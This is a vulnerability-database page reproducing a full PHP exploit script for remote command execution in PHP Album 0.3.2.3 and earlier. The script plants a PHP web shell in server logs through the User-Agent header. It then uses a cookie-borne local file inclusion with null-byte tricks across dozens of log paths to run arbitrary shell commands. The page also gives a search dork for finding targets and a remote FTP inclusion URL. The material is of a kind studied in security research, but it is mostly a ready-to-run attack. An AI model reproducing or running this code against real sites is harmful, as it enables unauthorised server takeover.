Lucene search
K

PHP Album <= 0.3.2.3 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

PHP Album <= 0.3.2.3 Remote Command Execution Exploit by rgo

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;PHP Album &#60;= 0.3.2.3 remote cmmnds xctn\r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n&#34;;
echo &#34;-&#62; this works with magic_quotes_gpc=Off & register_globals=On\r\n&#34;;
echo &#34;dork: \&#34;powered by php photo album\&#34; -demo2 -pitanje\r\n\r\n&#34;;

if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path cmd OPTIONS\r\n&#34;;
echo &#34;host:      target server (ip/hostname)\r\n&#34;;
echo &#34;path:      path to php album\r\n&#34;;
echo &#34;cmd:       a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phppa/ \r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phppa/ ls -la -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost / ls -la -P1.1.1.1:80\r\n&#34;;
die;
}
/*
 software site: http://www.phpalbum.net/

vulnerable code in language.php at line 21-23:
&#60;?
$pa_texts=Array(
&#34;ID_NEXT&#34; =&#62; &#34;next&#34;,
&#34;ID_PREV&#34; =&#62; &#34;previous&#34;,
&#34;ID_NEXT_PAGE&#34; =&#62; &#34;next page&#34;,
&#34;ID_PREV_PAGE&#34; =&#62; &#34;previous page&#34;,
&#34;ID_ALBUM_NAME&#34; =&#62; &#34;Photoalbum&#34;,
&#34;ID_PHOTO_DIR&#34; =&#62; &#34;Photos&#34;,
&#34;ID_SETUP&#34; =&#62; &#34;setup&#34;,
&#34;ID_HOME&#34; =&#62; &#34;Home&#34;,
&#34;ID_NAME&#34; =&#62; &#34;Name&#34;,
&#34;ID_EMAIL&#34; =&#62; &#34;Email&#34;,
&#34;ID_NAME_EMAIL&#34; =&#62; &#34;Optional you can enter your name and email&#34;,
&#34;ID_COMMENT_INSTR&#34; =&#62; &#34;Please type your message click Add New Comment&#34;,
&#34;ID_ADD_COMMENT&#34; =&#62; &#34;Add new comment&#34;,
&#34;ID_ENTER_PASSWD&#34; =&#62; &#34;Enter password:&#34;,
&#34;ID_DELETE_COMMENT&#34; =&#62; &#34;Delete Comment&#34;,
&#34;ID_ALBUMS&#34; =&#62; &#34;Albums&#34;
);

if(file_exists($data_dir.&#34;translation.dat&#34;)){
	include($data_dir.&#34;translation.dat&#34;);
}
....

&#34;data_dir&#34; argument is uninitialized, so:
i)  if magic_quotes_gpc = off and register_globals = On you can include
    arbitrary files from local resources
ii) against PHP5, if register_globals = On and allow_url_fopen = 0n,
    you can include an arbitrary translation.dat file from a ftp resource, poc:

    http://[target]/[path]/language.php?cmd=ls%20-la&data_dir=ftp://Anonymous:[email protected]/public/

this is the code for i), you can do ii) manually
									      */
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=3; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo &#34;[1] Injecting some code in log files...\r\n&#34;;
$CODE =&#39;suntzu&#60;?php passthru($_REQUEST[cmd]);die;?&#62;suntzu&#39;;
$packet.=&#34;GET &#34;.$path.$CODE.&#34; HTTP/1.1\r\n&#34;;
$packet.=&#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);

# fill with possible locations
$paths= array (
&#34;/var/log/httpd/access_log&#34;,
&#34;/var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;/etc/httpd/logs/acces_log&#34;,
&#34;/etc/httpd/logs/acces.log&#34;,
&#34;/etc/httpd/logs/error_log&#34;,
&#34;/etc/httpd/logs/error.log&#34;,
&#34;/var/www/logs/access_log&#34;,
&#34;/var/www/logs/access.log&#34;,
&#34;/usr/local/apache/logs/access_log&#34;,
&#34;/usr/local/apache/logs/access.log&#34;,
&#34;/var/log/apache/access_log&#34;,
&#34;/var/log/apache/access.log&#34;,
&#34;/var/log/access_log&#34;,
&#34;/var/www/logs/error_log&#34;,
&#34;/var/www/logs/error.log&#34;,
&#34;/usr/local/apache/logs/error_log&#34;,
&#34;/usr/local/apache/logs/error.log&#34;,
&#34;/var/log/apache/error_log&#34;,
&#34;/var/log/apache/error.log&#34;,
&#34;/var/log/access_log&#34;,
&#34;/var/log/error_log&#34;
);

for ($i=0; $i&#60;=count($paths)-1; $i++)
{
$a=$i+2;
echo &#34;[&#34;.$a.&#34;] trying with &#34;.$paths[$i].&#34;%00 ...\r\n&#34;;
$packet =&#34;GET &#34;.$p.&#34;language.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Cookie: data_dir=&#34;.$paths[$i].&#34;%00; cmd=&#34;.$cmd.&#34;\r\n&#34;; //through cookies, log this ;)
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
//echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,&#34;suntzu&#34;))
{
 echo &#34;Exploit succeeded...\r\n&#34;;
 $temp=explode(&#34;suntzu&#34;,$html);
 die($temp[1]);
}
}
//if you are here...
echo &#34;Exploit failed...&#34;;
?&#62;

# milw0rm.com [2006-04-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17